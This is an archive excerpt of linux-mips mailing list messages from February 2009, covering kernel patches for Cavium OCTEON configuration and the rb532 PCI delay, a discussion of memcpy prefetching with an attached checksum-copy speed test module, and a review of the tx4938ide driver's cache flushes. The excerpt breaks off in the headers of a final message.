From David.Daney@caviumnetworks.com Mon Feb 2 19:32:23 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 02 Feb 2009 19:32:27 +0000 (GMT) Received: from mail3.caviumnetworks.com ([12.108.191.235]:11618 "EHLO mail3.caviumnetworks.com") by ftp.linux-mips.org with ESMTP id S21367013AbZBBTcT (ORCPT ); Mon, 2 Feb 2009 19:32:19 +0000 Received: from exch4.caveonetworks.com (Not Verified[192.168.16.23]) by mail3.caviumnetworks.com with MailMarshal (v6,2,2,3503) id ; Mon, 02 Feb 2009 14:32:03 -0500 Received: from exch4.caveonetworks.com ([192.168.16.23]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 2 Feb 2009 11:31:03 -0800 Received: from dd1.caveonetworks.com ([64.169.86.201]) by exch4.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Mon, 2 Feb 2009 11:31:03 -0800 Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1]) by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id n12JV0Ep011934; Mon, 2 Feb 2009 11:31:00 -0800 Received: (from ddaney@localhost) by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id n12JUxPI011932; Mon, 2 Feb 2009 11:30:59 -0800 From: David Daney To: linux-mips@linux-mips.org, ralf@linux-mips.org Cc: David Daney , Atsushi Nemoto Subject: [PATCH] MIPS: Only allow Cavium OCTEON to be configured for boards that support it (v2). Date: Mon, 2 Feb 2009 11:30:59 -0800 Message-Id: <1233603059-11909-1-git-send-email-ddaney@caviumnetworks.com> X-Mailer: git-send-email 1.5.6.6 X-OriginalArrivalTime: 02 Feb 2009 19:31:03.0272 (UTC) FILETIME=[C90BB680:01C9856C] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21903 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ddaney@caviumnetworks.com Precedence: bulk X-list: linux-mips Signed-off-by: David Daney CC: Atsushi Nemoto --- I thought I sent this before, but I can't find evidence of that, So here it is again. arch/mips/Kconfig | 8 ++++++-- 1 files changed, 6 insertions(+), 2 deletions(-) diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig index 600eef3..cb76d16 100644 --- a/arch/mips/Kconfig +++ b/arch/mips/Kconfig @@ -603,7 +603,7 @@ config CAVIUM_OCTEON_SIMULATOR select SYS_SUPPORTS_64BIT_KERNEL select SYS_SUPPORTS_BIG_ENDIAN select SYS_SUPPORTS_HIGHMEM - select CPU_CAVIUM_OCTEON + select SYS_HAS_CPU_CAVIUM_OCTEON help The Octeon simulator is software performance model of the Cavium Octeon Processor. It supports simulating Octeon processors on x86 @@ -618,7 +618,7 @@ config CAVIUM_OCTEON_REFERENCE_BOARD select SYS_SUPPORTS_BIG_ENDIAN select SYS_SUPPORTS_HIGHMEM select SYS_HAS_EARLY_PRINTK - select CPU_CAVIUM_OCTEON + select SYS_HAS_CPU_CAVIUM_OCTEON select SWAP_IO_SPACE help This option supports all of the Octeon reference boards from Cavium @@ -1234,6 +1234,7 @@ config CPU_SB1 config CPU_CAVIUM_OCTEON bool "Cavium Octeon processor" + depends on SYS_HAS_CPU_CAVIUM_OCTEON select IRQ_CPU select IRQ_CPU_OCTEON select CPU_HAS_PREFETCH @@ -1314,6 +1315,9 @@ config SYS_HAS_CPU_RM9000 config SYS_HAS_CPU_SB1 bool +config SYS_HAS_CPU_CAVIUM_OCTEON + bool + # # CPU may reorder R->R, R->W, W->R, W->W # Reordering beyond LL and SC is handled in WEAK_REORDERING_BEYOND_LLSC -- 1.5.6.6 From ralf@h5.dl5rb.org.uk Wed Feb 4 20:46:47 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 04 Feb 2009 20:46:49 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:41652 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20643872AbZBDUqr (ORCPT ); Wed, 4 Feb 2009 20:46:47 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n14KkhEP013161; Wed, 4 Feb 2009 20:46:43 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n14KkfCZ013159; Wed, 4 Feb 2009 20:46:41 GMT Date: Wed, 4 Feb 2009 20:46:41 +0000 From: Ralf Baechle To: David Daney Cc: linux-mips@linux-mips.org, Atsushi Nemoto Subject: Re: [PATCH] MIPS: Only allow Cavium OCTEON to be configured for boards that support it (v2). Message-ID: <20090204204641.GA12965@linux-mips.org> References: <1233603059-11909-1-git-send-email-ddaney@caviumnetworks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1233603059-11909-1-git-send-email-ddaney@caviumnetworks.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21904 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips On Mon, Feb 02, 2009 at 11:30:59AM -0800, David Daney wrote: > Signed-off-by: David Daney > CC: Atsushi Nemoto > --- > > I thought I sent this before, but I can't find evidence of that, So > here it is again. You sent it on January 15, message ID 1232042187-4814-1-git-send-email-ddaney@caviumnetworks.com. Patch looks good, will apply. Ralf From ralf@h5.dl5rb.org.uk Wed Feb 4 21:15:52 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 04 Feb 2009 21:15:54 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:6894 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20643874AbZBDVPw (ORCPT ); Wed, 4 Feb 2009 21:15:52 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n14LFoPD013931; Wed, 4 Feb 2009 21:15:50 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n14LFnPO013929; Wed, 4 Feb 2009 21:15:49 GMT Date: Wed, 4 Feb 2009 21:15:49 +0000 From: Ralf Baechle To: Roel Kluin Cc: mano@roarinelk.homelinux.net, linux-mips@linux-mips.org Subject: Re: [PATCH] MIPS: in plat_time_init() t reaches -1, tested: 0 Message-ID: <20090204211549.GA13138@linux-mips.org> References: <498434B6.5020409@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <498434B6.5020409@gmail.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21905 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips On Sat, Jan 31, 2009 at 12:23:34PM +0100, Roel Kluin wrote: > With a postfix decrement t reaches -1 rather than 0, > so the fall-back will not occur. Thanks, applied. Ralf From ralf@h5.dl5rb.org.uk Wed Feb 4 21:27:57 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 04 Feb 2009 21:27:59 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:12943 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S21103491AbZBDV15 (ORCPT ); Wed, 4 Feb 2009 21:27:57 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n14LRmPX014214; Wed, 4 Feb 2009 21:27:48 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n14LRlrj014212; Wed, 4 Feb 2009 21:27:47 GMT Date: Wed, 4 Feb 2009 21:27:46 +0000 From: Ralf Baechle To: "David VomLehn (dvomlehn)" Cc: Atsushi Nemoto , ddaney@caviumnetworks.com, "Michael Sundius -X (msundius - Yoh Services LLC at Cisco)" , linux-mips@linux-mips.org, msundius@sundius.com Subject: Re: memcpy and prefetch Message-ID: <20090204212746.GB13138@linux-mips.org> References: <20090128103753.GC2234@linux-mips.org> <20090129.002850.118974677.anemo@mba.ocn.ne.jp> <20090128183047.GA1691@linux-mips.org> <20090129.213613.128618730.anemo@mba.ocn.ne.jp> <20090129155854.GC29521@linux-mips.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21906 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips On Thu, Jan 29, 2009 at 10:39:37PM -0500, David VomLehn (dvomlehn) wrote: > > The idea here is that we have two issues with prefetching: > > > > o Prefetching beyond the end of the source or destination range on a > > in-coherent range might bring back stale values from a DMA I/O > > buffer resulting in data corruption. Hardware DMA coherency will > > avoid this issue. > > > > o IP27 has full blown hardware coherency. Historically > > CONFIG_DMA_COHERENT > > was not able to cope with something of the complexity of IP27, so > > there was a separate CONFIG_DMA_IP27 and the broken logic > > expression > > was meant to treat CONFIG_DMA_COHERENT and CONFIG_DMA_IP27 the same > > as for prefetching. > > > > o Prefetching beyond the end of physical memory can cause > > exceptions on > > some systems. The Malta has this problem. > > > > Thus no prefetching on Malta or non-coherent systems. > It seems to me as though we could avoid the first and third problems > with a memcpy that doesn't prefetch past the end of the buffer, the > thought being that if we are reading or writing a memory region, we > really shouldn't be doing DMA to or from that location. This would > probably be slightly suboptimal, performance-wise, for those systems > that do have DMA coherence. It seems as though we could have two > mutually exclusive versions, selectable via the CONFIG_DMA_COHERENT > flag. For those of us without DMA coherence, it would probably give our > memcpy performance a bit of a kick in the pants over using no prefetch > at all. Unnecessary prefetching can come at a high cost due to memory latencies and cache pollution. So you want to avoid unnecessary prefetches rather than hoping for hardware cache coherency to sorts out the mess software left behind. The general expectation is that prefetching will help - but depending on the pipeline structure prefetching can be hard to exploit optimally. For example there are MIPS cores were the optimal sequence is something like load store load store load store load store But on others it's load load load load store store store store Placing prefetching instructions into loops built from such blocks can result in very surprising result. > If this makes sense, we might be able to sign up to do the work. Anyone > have a good, caching-aware memcpy test? Testing memcpy is an interesting little project. Correctness is one thing but a good implementation needs to do a few performance tradeoffs which are best meassure with real world, not synthetic workloads. Ralf From anemo@mba.ocn.ne.jp Thu Feb 5 15:31:12 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Feb 2009 15:31:15 +0000 (GMT) Received: from mba.ocn.ne.jp ([122.1.235.107]:43500 "HELO smtp.mba.ocn.ne.jp") by ftp.linux-mips.org with SMTP id S21365323AbZBEPbM (ORCPT ); Thu, 5 Feb 2009 15:31:12 +0000 Received: from localhost (p6114-ipad308funabasi.chiba.ocn.ne.jp [123.217.192.114]) by smtp.mba.ocn.ne.jp (Postfix) with ESMTP id D07A4A109; Fri, 6 Feb 2009 00:31:04 +0900 (JST) Date: Fri, 06 Feb 2009 00:31:13 +0900 (JST) Message-Id: <20090206.003113.118974140.anemo@mba.ocn.ne.jp> To: ralf@linux-mips.org Cc: dvomlehn@cisco.com, ddaney@caviumnetworks.com, msundius@cisco.com, linux-mips@linux-mips.org, msundius@sundius.com Subject: Re: memcpy and prefetch From: Atsushi Nemoto In-Reply-To: <20090204212746.GB13138@linux-mips.org> References: <20090129155854.GC29521@linux-mips.org> <20090204212746.GB13138@linux-mips.org> X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A B746 CA77 FE94 2874 D52F X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F X-Mailer: Mew version 5.2 on Emacs 21.4 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Fri_Feb__6_00_31_13_2009_361)--" Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21908 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: anemo@mba.ocn.ne.jp Precedence: bulk X-list: linux-mips Content-Length: 6175 Lines: 229 ----Next_Part(Fri_Feb__6_00_31_13_2009_361)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit On Wed, 4 Feb 2009 21:27:46 +0000, Ralf Baechle wrote: > > If this makes sense, we might be able to sign up to do the work. Anyone > > have a good, caching-aware memcpy test? > > Testing memcpy is an interesting little project. Correctness is one > thing but a good implementation needs to do a few performance tradeoffs > which are best meassure with real world, not synthetic workloads. For correctness test, drivers/dma/dmatest.c might be a good template. For speed test, test_cipher_speed in crypt/tcrypt.c can be used as a template. Attached is a test module I wrote based on it, when I implemented an asm version of csum_partial_copy_nocheck, etc. It will show something like this: # insmod /tmp/testspeed.ko mode=1 testing speed of csum_partial_copy_nocheck test 0 (32 byte): 2051560 operations in 1 seconds (65649920 bytes) test 1 (96 byte): 823512 operations in 1 seconds (79057152 bytes) test 2 (256 byte): 329124 operations in 1 seconds (84255744 bytes) test 3 (512 byte): 167739 operations in 1 seconds (85882368 bytes) ... testing speed of gen_csum_partial_copy_nocheck test 0 (32 byte): 1555953 operations in 1 seconds (49790496 bytes) test 1 (96 byte): 700025 operations in 1 seconds (67202400 bytes) test 2 (256 byte): 293716 operations in 1 seconds (75191296 bytes) test 3 (512 byte): 151770 operations in 1 seconds (77706240 bytes) ... insmod: error inserting '/tmp/testspeed.ko': -1 Resource temporarily unavailable Feel free to hack it ;) ----Next_Part(Fri_Feb__6_00_31_13_2009_361)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="testspeed.c" /* * Quick & dirty speed testing module. (Based on tcrypt). * * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. */ #include #include #include #include #include #include #include static unsigned int sec = 1; static int mode; /* non-optimized version of csum_partial_copy_nocheck */ static unsigned int gen_csum_partial_copy_nocheck(const void *src, void *dst, int len, unsigned int sum) { sum = csum_partial(src, len, sum); memcpy(dst, src, len); return sum; } /* non-optimized version of csum_partial_copy_from_user */ static unsigned int gen_csum_partial_copy_from_user(const void __user *src, void *dst, int len, unsigned int sum, int *err_ptr) { might_sleep(); if (__copy_from_user(dst, src, len)) *err_ptr = -EFAULT; return csum_partial(dst, len, sum); } #define loop_while_sec(start, end, sec, count) \ for (start = jiffies, end = start + sec * HZ, count = 0; \ time_before(jiffies, end); count++) static int test_csum_partial_copy_speed(int cachemiss) { unsigned long start, end; unsigned int i; void *src, *dst; size_t sizes[] = { 0x20, 0x60, 0x100, 0x200, 0x400, 1460, /* ETH_DATA_LEN - 20(ip header) - 20(tcp header) */ 0x800, 0x1000, }; size_t maxsize = sizes[ARRAY_SIZE(sizes) - 1]; int ofs; int count; int err; int bufsize = 0x10000; src = kmalloc(bufsize, GFP_KERNEL); if (!src) return -ENOMEM; dst = kmalloc(bufsize, GFP_KERNEL); if (!dst) { kfree(src); return -ENOMEM; } memset(src, 0xff, maxsize); printk("\ntesting speed of csum_partial_copy_nocheck\n"); for (i = 0; i < ARRAY_SIZE(sizes); i++) { printk("test %u (%d byte): ", i, sizes[i]); ofs = 0; loop_while_sec(start, end, sec, count) { csum_partial_copy_nocheck(src + ofs, dst + ofs, sizes[i], 0); if (cachemiss) { ofs += sizes[i]; if (ofs + sizes[i] > bufsize) ofs = 0; } } printk("%d operations in %d seconds (%d bytes)\n", count, sec, count * sizes[i]); } printk("\ntesting speed of csum_partial_copy_from_user\n"); for (i = 0; i < ARRAY_SIZE(sizes); i++) { printk("test %u (%d byte): ", i, sizes[i]); ofs = 0; loop_while_sec(start, end, sec, count) { csum_partial_copy_from_user((const void __force __user *)src + ofs, dst + ofs, sizes[i], 0, &err); if (cachemiss) { ofs += sizes[i]; if (ofs + sizes[i] > bufsize) ofs = 0; } } printk("%d operations in %d seconds (%d bytes)\n", count, sec, count * sizes[i]); } printk("\ntesting speed of gen_csum_partial_copy_nocheck\n"); for (i = 0; i < ARRAY_SIZE(sizes); i++) { printk("test %u (%d byte): ", i, sizes[i]); ofs = 0; loop_while_sec(start, end, sec, count) { gen_csum_partial_copy_nocheck(src + ofs, dst + ofs, sizes[i], 0); if (cachemiss) { ofs += sizes[i]; if (ofs + sizes[i] > bufsize) ofs = 0; } } printk("%d operations in %d seconds (%d bytes)\n", count, sec, count * sizes[i]); } printk("\ntesting speed of gen_csum_partial_copy_from_user\n"); for (i = 0; i < ARRAY_SIZE(sizes); i++) { printk("test %u (%d byte): ", i, sizes[i]); ofs = 0; loop_while_sec(start, end, sec, count) { gen_csum_partial_copy_from_user((const void __force __user *)src + ofs, dst + ofs, sizes[i], 0, &err); if (cachemiss) { ofs += sizes[i]; if (ofs + sizes[i] > bufsize) ofs = 0; } } printk("%d operations in %d seconds (%d bytes)\n", count, sec, count * sizes[i]); } kfree(src); kfree(dst); return 0; } static int __init init(void) { int ret = 0; switch (mode) { case 0: ret = test_csum_partial_copy_speed(0); break; case 1: ret = test_csum_partial_copy_speed(1); break; } if (ret) return ret; /* We intentionaly return -EAGAIN to prevent keeping the module. */ return -EAGAIN; } static void __exit fini(void) {} module_init(init); module_exit(fini); module_param(mode, int, 0); module_param(sec, uint, 0); MODULE_PARM_DESC(sec, "Length in seconds of speed tests (default 1)"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Quick & dirty speed testing module"); ----Next_Part(Fri_Feb__6_00_31_13_2009_361)---- From n0-1@nwl.cc Sat Feb 7 14:57:39 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 07 Feb 2009 14:57:43 +0000 (GMT) Received: from orbit.nwl.cc ([91.121.169.95]:30384 "EHLO orbit.nwl.cc") by ftp.linux-mips.org with ESMTP id S21366278AbZBGO5j (ORCPT ); Sat, 7 Feb 2009 14:57:39 +0000 Received: from orbit.nwl.cc (localhost [127.0.0.1]) by orbit.nwl.cc (Postfix) with ESMTP id E38904CEB7; Sat, 7 Feb 2009 15:57:33 +0100 (CET) Received: from base (localhost [127.0.0.1]) by orbit.nwl.cc (Postfix) with ESMTP id ABA9E4CE8B; Sat, 7 Feb 2009 15:57:33 +0100 (CET) From: Phil Sutter To: Linux-Mips List Cc: Ralf Baechle Subject: [PATCH] MIPS: rb532: use mdelay to sleep when atomic Date: Sat, 7 Feb 2009 15:57:26 +0100 X-Mailer: git-send-email 1.5.6.4 Message-Id: <20090207145733.ABA9E4CE8B@orbit.nwl.cc> X-Virus-Scanned: ClamAV using ClamSMTP Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21909 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: n0-1@freewrt.org Precedence: bulk X-list: linux-mips Content-Length: 877 Lines: 30 In fact, using msleep() here triggers scheduling when the kernel has been built with CONFIG_PREEMPT, which in turn causes the kernel to complain about scheduling when being atomic. The delay itself is basically a hack to allow the rb564 daughter board (FIXME: right?) to be detected correctly. Maybe there is some real fix for this issue, but sadly I can't test as I don't have any hardware requiring this delay. Signed-off-by: Phil Sutter --- arch/mips/pci/ops-rc32434.c | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diff --git a/arch/mips/pci/ops-rc32434.c b/arch/mips/pci/ops-rc32434.c index d1f8fa2..0999e91 100644 --- a/arch/mips/pci/ops-rc32434.c +++ b/arch/mips/pci/ops-rc32434.c @@ -118,7 +118,7 @@ retry: if (delay > 4) return 0; delay *= 2; - msleep(delay); + mdelay(delay); goto retry; } } -- 1.5.6.4 From sshtylyov@ru.mvista.com Sun Feb 8 11:45:09 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 08 Feb 2009 11:45:12 +0000 (GMT) Received: from h155.mvista.com ([63.81.120.155]:56261 "EHLO imap.sh.mvista.com") by ftp.linux-mips.org with ESMTP id S21103038AbZBHLpJ (ORCPT ); Sun, 8 Feb 2009 11:45:09 +0000 Received: from [127.0.0.1] (unknown [10.150.0.9]) by imap.sh.mvista.com (Postfix) with ESMTP id 5586D3EDB; Sun, 8 Feb 2009 03:45:03 -0800 (PST) Message-ID: <498EC5BA.4080002@ru.mvista.com> Date: Sun, 08 Feb 2009 14:44:58 +0300 From: Sergei Shtylyov User-Agent: Thunderbird 2.0.0.19 (Windows/20081209) MIME-Version: 1.0 To: Atsushi Nemoto Cc: linux-mips@linux-mips.org, linux-ide@vger.kernel.org, Bartlomiej Zolnierkiewicz , ralf@linux-mips.org Subject: Re: [PATCH] ide: Add tx4938ide driver (v2) References: <20081023.012013.52129771.anemo@mba.ocn.ne.jp> In-Reply-To: <20081023.012013.52129771.anemo@mba.ocn.ne.jp> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21911 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: sshtylyov@ru.mvista.com Precedence: bulk X-list: linux-mips Content-Length: 1171 Lines: 42 Hello. Atsushi Nemoto wrote: > This is the driver for the Toshiba TX4938 SoC EBUS controller ATA mode. > It has custom set_pio_mode and some hacks for big endian. > > Signed-off-by: Atsushi Nemoto > [...] > +static void tx4938ide_input_data_swap(ide_drive_t *drive, struct request *rq, > + void *buf, unsigned int len) > +{ > + unsigned long port = drive->hwif->io_ports.data_addr; > + unsigned short *ptr = buf; > + unsigned int count = (len + 1) / 2; > + > + while (count--) > + *ptr++ = cpu_to_le16(__raw_readw((void __iomem *)port)); > + __ide_flush_dcache_range((unsigned long)buf, count * 2); > +} > + > +static void tx4938ide_output_data_swap(ide_drive_t *drive, struct request *rq, > + void *buf, unsigned int len) > +{ > + unsigned long port = drive->hwif->io_ports.data_addr; > + unsigned short *ptr = buf; > + unsigned int count = (len + 1) / 2; > + > + while (count--) { > + __raw_writew(le16_to_cpu(*ptr), (void __iomem *)port); > + ptr++; > + } > + __ide_flush_dcache_range((unsigned long)buf, count * 2); > +} Atsushi, does TX49 really suffer from the issue that these flushes are trying to address? MBR, Sergei From sshtylyov@ru.mvista.com Sun Feb 8 11:53:00 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 08 Feb 2009 11:53:06 +0000 (GMT) Received: from h155.mvista.com ([63.81.120.155]:15302 "EHLO imap.sh.mvista.com") by ftp.linux-mips.org with ESMTP id S21103038AbZBHLxA (ORCPT ); Sun, 8 Feb 2009 11:53:00 +0000 Received: from [127.0.0.1] (unknown [10.150.0.9]) by imap.sh.mvista.com (Postfix) with ESMTP id A25FE3EDB; Sun, 8 Feb 2009 03:52:56 -0800 (PST) Message-ID: <498EC790.9070403@ru.mvista.com> Date: Sun, 08 Feb 2009 14:52:48 +0300 From: Sergei Shtylyov User-Agent: Thunderbird 2.0.0.19 (Windows/20081209) MIME-Version: 1.0 To: Sergei Shtylyov Cc: Atsushi Nemoto , linux-mips@linux-mips.org, linux-ide@vger.kernel.org, Bartlomiej Zolnierkiewicz , ralf@linux-mips.org Subject: Re: [PATCH] ide: Add tx4938ide driver (v2) References: <20081023.012013.52129771.anemo@mba.ocn.ne.jp> <498EC5BA.4080002@ru.mvista.com> In-Reply-To: <498EC5BA.4080002@ru.mvista.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21912 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: sshtylyov@ru.mvista.com Precedence: bulk X-list: linux-mips Content-Length: 1404 Lines: 45 Hello, I wrote: >> This is the driver for the Toshiba TX4938 SoC EBUS controller ATA mode. >> It has custom set_pio_mode and some hacks for big endian. >> >> Signed-off-by: Atsushi Nemoto >> > [...] >> +static void tx4938ide_input_data_swap(ide_drive_t *drive, struct >> request *rq, >> + void *buf, unsigned int len) >> +{ >> + unsigned long port = drive->hwif->io_ports.data_addr; >> + unsigned short *ptr = buf; >> + unsigned int count = (len + 1) / 2; >> + >> + while (count--) >> + *ptr++ = cpu_to_le16(__raw_readw((void __iomem *)port)); >> + __ide_flush_dcache_range((unsigned long)buf, count * 2); >> +} >> + >> +static void tx4938ide_output_data_swap(ide_drive_t *drive, struct >> request *rq, >> + void *buf, unsigned int len) >> +{ >> + unsigned long port = drive->hwif->io_ports.data_addr; >> + unsigned short *ptr = buf; >> + unsigned int count = (len + 1) / 2; >> + >> + while (count--) { >> + __raw_writew(le16_to_cpu(*ptr), (void __iomem *)port); >> + ptr++; >> + } >> + __ide_flush_dcache_range((unsigned long)buf, count * 2); >> +} > > Atsushi, does TX49 really suffer from the issue that these flushes > are trying to address? Well, looking thru the TX4939 thread, it appears that I've asked this question already. Isn't this related to VIVT caches? MBR, Sergei From anemo@mba.ocn.ne.jp Sun Feb 8 16:53:26 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 08 Feb 2009 16:53:30 +0000 (GMT) Received: from mba.ocn.ne.jp ([122.1.235.107]:44241 "HELO smtp.mba.ocn.ne.jp") by ftp.linux-mips.org with SMTP id S21103570AbZBHQx0 (ORCPT ); Sun, 8 Feb 2009 16:53:26 +0000 Received: from localhost (p1245-ipad401funabasi.chiba.ocn.ne.jp [123.217.235.245]) by smtp.mba.ocn.ne.jp (Postfix) with ESMTP id 453BAA7F2; Mon, 9 Feb 2009 01:53:19 +0900 (JST) Date: Mon, 09 Feb 2009 01:53:21 +0900 (JST) Message-Id: <20090209.015321.25909754.anemo@mba.ocn.ne.jp> To: sshtylyov@ru.mvista.com Cc: linux-mips@linux-mips.org, linux-ide@vger.kernel.org, bzolnier@gmail.com, ralf@linux-mips.org Subject: Re: [PATCH] ide: Add tx4938ide driver (v2) From: Atsushi Nemoto In-Reply-To: <498EC790.9070403@ru.mvista.com> References: <20081023.012013.52129771.anemo@mba.ocn.ne.jp> <498EC5BA.4080002@ru.mvista.com> <498EC790.9070403@ru.mvista.com> X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A B746 CA77 FE94 2874 D52F X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F X-Mailer: Mew version 5.2 on Emacs 21.4 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21913 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: anemo@mba.ocn.ne.jp Precedence: bulk X-list: linux-mips Content-Length: 746 Lines: 22 On Sun, 08 Feb 2009 14:52:48 +0300, Sergei Shtylyov wrote: > >> + __ide_flush_dcache_range((unsigned long)buf, count * 2); > >> +} > > > > Atsushi, does TX49 really suffer from the issue that these flushes > > are trying to address? > > Well, looking thru the TX4939 thread, it appears that I've asked this > question already. Isn't this related to VIVT caches? No, TX49 has VIPT cache. It is related to D-cache aliasing on PIO. My first attempt to fix this issue goes back to 2004: http://www.linux-mips.org/archives/linux-mips/2004-03/msg00185.html And more generic lengthy discussion can be found on (as mentioned in the previous tx4939 thread): http://lkml.org/lkml/2006/1/13/156 --- Atsushi Nemoto From rusty@rustcorp.com.au Mon Feb 9 11:19:28 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 09 Feb 2009 11:19:30 +0000 (GMT) Received: from ozlabs.org ([203.10.76.45]:54969 "EHLO ozlabs.org") by ftp.linux-mips.org with ESMTP id S21365433AbZBILT1 (ORCPT ); Mon, 9 Feb 2009 11:19:27 +0000 Received: from vivaldi.localnet (unknown [150.101.102.135]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by ozlabs.org (Postfix) with ESMTPSA id BD649DDD1C; Mon, 9 